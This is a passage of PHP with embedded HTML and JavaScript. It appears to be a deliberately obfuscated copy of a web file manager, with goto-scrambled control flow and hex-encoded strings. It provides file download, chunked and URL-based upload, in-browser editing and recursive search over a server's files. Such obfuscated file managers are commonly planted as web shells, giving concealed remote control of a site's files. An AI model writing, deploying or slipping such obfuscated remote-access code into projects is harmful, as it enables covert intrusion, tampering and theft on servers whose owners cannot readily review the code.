else { return "{$txt}"; } } } goto uJNqv; pm136: $allowed_file_extensions = ''; goto yvo6f; PWqFR: function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) { return false; } $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if (is_array($contentType)) { $contentType = implode("\40", $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng("\132\x65\x72\x6f\x20\142\x79\x74\x65\40\x66\151\x6c\x65\x21\40\101\x62\157\162\x74\x69\156\147\x20\144\157\167\x6e\x6c\x6f\x61\144"), "\x65\x72\162\x6f\162"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($FM_PATH)); return false; } @ini_set("\155\x61\x67\x69\143\137\161\165\157\164\145\163\137\x72\x75\x6e\164\151\x6d\145", 0); $fp = fopen("{$fileLocation}", "\162\x62"); if ($fp === false) { fm_set_msg(lng("\x43\x61\x6e\x6e\157\164\40\157\x70\x65\156\40\146\x69\x6c\x65\41\40\101\x62\157\162\164\151\156\147\x20\144\157\x77\x6e\154\x6f\x61\x64"), "\145\x72\x72\157\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($FM_PATH)); return false; } header("\x43\141\143\x68\x65\55\103\x6f\x6e\164\162\157\x6c\72\40\160\x75\x62\x6c\151\x63"); header("\103\157\156\164\x65\156\x74\x2d\124\162\141\x6e\163\x66\145\162\55\105\156\143\x6f\x64\151\x6e\x67\72\40\x62\x69\x6e\x61\x72\x79\xa"); header("\103\157\156\x74\145\156\x74\55\x54\171\160\145\x3a\x20{$contentType}"); $contentDisposition = "\141\x74\164\141\x63\150\155\x65\x6e\x74"; if (strstr($_SERVER["\110\x54\124\x50\x5f\x55\123\x45\122\x5f\101\107\105\x4e\x54"], "\115\123\x49\105")) { $fileName = preg_replace("\x2f\x5c\x2e\x2f", "\45\x32\145", $fileName, substr_count($fileName, "\56") - 1); header("\x43\x6f\156\164\145\x6e\x74\x2d\104\x69\163\160\157\163\151\x74\151\x6f\156\72\40{$contentDisposition}\73\146\x69\154\x65\x6e\x61\x6d\145\x3d\42{$fileName}\42"); } else { header("\103\x6f\x6e\x74\145\x6e\164\x2d\104\151\163\160\157\x73\151\164\151\x6f\x6e\72\40{$contentDisposition}\x3b\146\x69\154\145\156\x61\155\145\75\42{$fileName}\42"); } header("\101\143\x63\145\160\x74\x2d\122\141\x6e\x67\145\163\72\x20\142\x79\164\145\x73"); $range = 0; if (isset($_SERVER["\x48\124\124\120\137\x52\101\x4e\107\105"])) { list($a, $range) = explode("\x3d", $_SERVER["\110\x54\124\120\x5f\x52\x41\x4e\x47\x45"]); str_replace($range, "\x2d", $range); $size2 = $size - 1; $new_length = $size - $range; header("\110\124\124\120\57\61\x2e\61\x20\62\60\66\40\x50\x61\x72\x74\151\x61\154\40\103\x6f\156\164\x65\x6e\x74"); header("\103\157\x6e\x74\145\x6e\x74\55\x4c\x65\x6e\147\x74\150\x3a\x20{$new_length}"); header("\103\x6f\x6e\x74\145\156\164\55\122\141\156\x67\145\x3a\x20\x62\171\164\145\163\40{$range}{$size2}\57{$size}"); } else { $size2 = $size - 1; header("\103\x6f\156\164\x65\x6e\164\x2d\122\141\156\147\x65\x3a\x20\x62\x79\164\145\x73\40\x30\55{$size2}\x2f{$size}"); header("\103\x6f\x6e\164\145\156\x74\55\x4c\x65\x6e\147\x74\150\72\x20" . $size); } fseek($fp, $range); while (!@feof($fp) and connection_status() == 0) { set_time_limit(0); print @fread($fp, 1024 * $chunkSize); flush(); @ob_flush(); } fclose($fp); return connection_status() == 0 and !connection_aborted(); } goto eW_o4; G34cW: if (!FM_READONLY) { ?>
<th class="custom-checkbox-header"style="width:3%"><div class="custom-checkbox custom-control"><input id="js-select-all-items"class="custom-control-input"type="checkbox"onclick="checkbox_toggle()"> <label for="js-select-all-items"class="custom-control-label"></label></div></th><?php  } goto vLsVv; WwVsO: unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); goto KIz4L; vLsVv: ?>
<th><?php  goto WlIu4; cNT0R: if (isset($_GET["\x75\x70\154\157\141\144"]) && !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode("\54", FM_UPLOAD_EXTENSION); if (FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function (&$x) { $x = "\x2e{$x}"; }); return implode("\54", $extArr); } return ''; } ?>
<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css"rel="stylesheet"><div class="path"><div class="mb-2 card fm-upload-wrapper<?php  echo fm_get_theme(); ?>
"><div class="card-header"><ul class="card-header-tabs nav nav-tabs"><li class="nav-item"><a href="#fileUploader"class="nav-link active"data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i><?php  echo lng("\x55\160\154\x6f\141\x64\x69\156\147\x46\151\x6c\145\163"); ?>
</a></li><li class="nav-item"><a href="#urlUploader"class="nav-link"class="js-url-upload"data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a></li></ul></div><div class="card-body"><p class="card-text"><a href="?p=<?php  echo FM_PATH; ?>
"class="float-right"><i class="fa fa-chevron-circle-left go-back"></i><?php  echo lng("\102\141\143\153"); ?>
</a><strong><?php  echo lng("\x44\145\163\164\x69\156\141\164\x69\157\156\106\x6f\154\x64\x65\162"); ?>
</strong>:<?php  echo fm_enc(fm_convert_win(FM_PATH)); ?>
</p><form action="<?php  echo htmlspecialchars(FM_SELF_URL) . "\77\160\75" . fm_enc(FM_PATH); ?>
"class="card-tabs-container dropzone"id="fileUploader"enctype="multipart/form-data"><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"> <input name="fullpath"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"id="fullpath"> <input name="token"type="hidden"value="<?php  echo $_SESSION["\164\x6f\153\x65\156"]; ?>
"><div class="fallback"><input name="file"type="file"multiple></div></form><div class="hidden card-tabs-container upload-url-wrapper"id="urlUploader"><form method="POST"action=""class="row align-items-center g-3 row-cols-lg-auto"onsubmit="return upload_from_url(this)"id="js-form-url-upload"><input name="type"type="hidden"value="upload"aria-hidden="true"aria-label="hidden"> <input name="uploadurl"type="url"required class="form-control"placeholder="URL"style="width:80%"> <input name="token"type="hidden"value="<?php  echo $_SESSION["\164\157\x6b\145\156"]; ?>
"> <button class="btn btn-primary ms-3"type="submit"><?php  echo lng("\x55\x70\154\157\141\x64"); ?>
</button><div class="lds-facebook"><div></div><div></div><div></div></div></form><div class="mt-3 col-9"id="js-url-upload__list"></div></div></div></div></div><script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script><script>Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: 10000000,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 2,
            parallelChunkUploads: true,
            timeout: 120000,
            maxFilesize: "<?php  echo MAX_UPLOAD_SIZE; ?>
",
            acceptedFiles : "<?php  echo getUploadExt(); ?>
",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);

                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }</script><?php  fm_show_footer(); die; } goto IRvDz; apL1i: $sticky_navbar = true; goto LP06H; MWz00: if ($report_errors == true) { @ini_set("\x65\162\x72\x6f\x72\137\x72\145\x70\157\x72\164\x69\x6e\x67", E_ALL); @ini_set("\x64\151\163\x70\x6c\x61\171\x5f\x65\162\x72\x6f\162\163", 1); } else { @ini_set("\145\x72\x72\157\x72\137\x72\145\160\x6f\x72\x74\151\x6e\x67", E_ALL); @ini_set("\x64\x69\163\160\154\x61\171\x5f\x65\162\x72\x6f\162\x73", 0); } goto X2dg_; mS2j6: $files = array(); goto ldfy2; Ut_0Q: function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, "\134\x2f"); $path = str_replace(array("\x2e\56\x2f", "\56\56\134"), '', $path); $path = get_absolute_path($path); if ($path == "\x2e\x2e") { $path = ''; } return str_replace("\134", "\x2f", $path); } goto OnmBQ; MLAiP: $online_viewer = "\147\x6f\x6f\x67\x6c\x65"; goto apL1i; x6zPX: if (empty($_SESSION["\164\157\x6b\x65\x6e"])) { $_SESSION["\x74\x6f\153\145\156"] = bin2hex(random_bytes(32)); } goto pgtUr; eW_o4: function fm_get_theme() { $result = ''; if (FM_THEME == "\x64\141\162\x6b") { $result = "\x74\145\x78\164\x2d\167\150\151\x74\145\x20\142\x67\55\x64\141\162\x6b"; } return $result; } goto QkX0W; no7Jg: function fm_show_footer() { ?>
</div><script src="https://code.jquery.com/jquery-3.6.1.min.js"crossorigin="anonymous"integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ="></script><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js"crossorigin="anonymous"integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3"></script><script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js"crossorigin="anonymous"defer></script><?php  if (FM_USE_HIGHLIGHTJS && isset($_GET["\166\151\x65\x77"])) { ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script><script>hljs.highlightAll();var isHighlightingEnabled=!0</script><?php  } ?>
<script>function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(e && t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { // Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' && n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content, action};
        let tpl = $("#js-tpl-confirm").html();
        $('#wrapper').append(template(tpl,tplObj));
        $("#confirmDailog-"+tplObj.id).modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });</script><?php  if (isset($_GET["\145\144\151\164"]) && isset($_GET["\x65\x6e\166"]) && FM_EDIT_FILE && !FM_READONLY) { $ext = pathinfo($_GET["\x65\x64\x69\x74"], PATHINFO_EXTENSION); $ext = $ext == "\x6a\x73" ? "\152\x61\x76\x61\x73\x63\162\x69\160\164" : $ext; ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script><script>var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php  echo $ext; ?>
", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });</script><?php  } ?>
<div id="snackbar"></div></body></html><?php  } goto pAOLS; Kp_YP: function fm_get_text_exts() { return array("\164\170\164", "\x63\163\x73", "\x69\156\151", "\x63\x6f\156\x66", "\154\x6f\147", "\x68\164\141\143\x63\x65\163\163", "\x70\x61\x73\163\167\x64", "\146\x74\160\161\165\157\x74\x61", "\163\161\154", "\x6a\x73", "\x74\163", "\152\x73\170", "\164\163\170", "\155\x6a\163", "\x6a\163\x6f\156", "\x73\150", "\143\157\x6e\146\x69\147", "\160\150\160", "\x70\150\x70\x34", "\160\x68\160\x35", "\160\150\160\x73", "\x70\150\164\x6d\154", "\x68\164\x6d", "\x68\164\155\154", "\163\150\x74\x6d\154", "\x78\x68\164\155\154", "\x78\155\154", "\x78\x73\154", "\x6d\x33\x75", "\x6d\x33\x75\70", "\x70\x6c\163", "\143\x75\145", "\x62\x61\x73\x68", "\x74\x70\x6c", "\166\x75\x65", "\145\155\154", "\x6d\163\147", "\x63\x73\166", "\x62\x61\x74", "\x74\x77\x69\147", "\x74\x70\154", "\x6d\144", "\147\151\x74\x69\x67\x6e\157\162\145", "\154\145\x73\x73", "\x73\x61\163\163", "\x73\x63\x73\163", "\x63", "\x63\160\160", "\143\x73", "\160\x79", "\147\x6f", "\x7a\x73\150", "\163\167\x69\x66\x74", "\x79\x6d\154", "\x6d\141\x70", "\154\x6f\143\153", "\144\164\x64", "\x73\166\x67", "\163\x63\x73\163", "\x61\x73\x70", "\141\x73\x70\x78", "\141\163\x78", "\141\163\155\x78", "\x61\163\150\170", "\152\163\x70", "\152\163\160\x78", "\x63\x66\x6d", "\143\147\x69", "\x64\157\x63\x6b\x65\162\146\x69\x6c\x65", "\x72\165\x62\x79", "\164\167\151\147", "\x79\x6d\x6c", "\171\x61\155\154", "\x74\x6f\x6d\x6c", "\x6d\144", "\x76\x68\157\163\164", "\163\x63\160\164", "\x61\x70\160\154\x65\x73\143\x72\151\x70\164", "\x63", "\x63\x73", "\143\x73\170", "\143\x73\150\164\x6d\x6c", "\143\160\x70", "\143\53\x2b", "\143\x6f\x66\x66\145\x65", "\143\x66\x6d", "\x72\x62", "\x67\162\141\160\150\x71\x6c", "\x6d\x75\163\164\x61\x63\x68\145", "\x6a\151\x6e\x6a\x61", "\x70\x68\164\155\154", "\x68\164\164\160", "\150\x61\x6e\144\x6c\x65\142\x61\x72\163", "\154\157\143\x6b", "\152\x61\166\141", "\145\163", "\x65\x73\66", "\x6d\141\162\153\x64\x6f\167\x6e", "\x77\151\153\151", "\x76\150\157\163\164", "\163\161\x6c"); } goto F4eW0; TPc_v: if (!@is_dir($root_path)) { echo "\74\x68\61\x3e" . lng("\122\x6f\x6f\164\x20\160\141\x74\x68") . "\x20\x22{$root_path}\42\40" . lng("\x6e\x6f\164\x20\x66\x6f\x75\x6e\x64\x21") . "\40\x3c\x2f\x68\x31\76"; die; } goto gfKOg; RKIqF: $root_path = rtrim($root_path, "\134\57"); goto E2HRC; CNpnd: $p = fm_clean_path($p); goto j10mz; cxYL4: $edit_files = true; goto Yn3cR; vpc6u: function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH . "\57" . $dir; if ($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "\57\x28" . $filter . "\x29\x2f\x69"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array("\x6e\x61\155\145" => $fileName, "\x74\171\x70\145" => "\x66\151\x6c\x65", "\160\x61\164\150" => $location); } } return $files; } } goto PWqFR; n8_Vp: $all_files_size = 0; goto UP4nw; WuHM2: function fm_show_nav_path($path) { global $lang, $sticky_navbar, $editFile; $isStickyNavBar = $sticky_navbar ? "\146\x69\x78\x65\144\55\x74\157\160" : ''; $getTheme = fm_get_theme(); $getTheme .= "\x20\156\141\166\142\x61\x72\55\154\x69\147\x68\x74"; if (FM_THEME == "\x64\x61\x72\x6b") { $getTheme .= "\40\x6e\141\166\x62\x61\162\x2d\144\141\162\153"; } else { $getTheme .= "\x20\x62\147\x2d\167\x68\x69\x74\x65"; } ?>
<nav class="navbar navbar-expand-lg<?php  echo $getTheme; ?>
mb-4 main-nav<?php  echo $isStickyNavBar; ?>
"><a class="navbar-brand"><?php  echo lng("\x41\x70\160\124\x69\x74\154\x65"); ?>
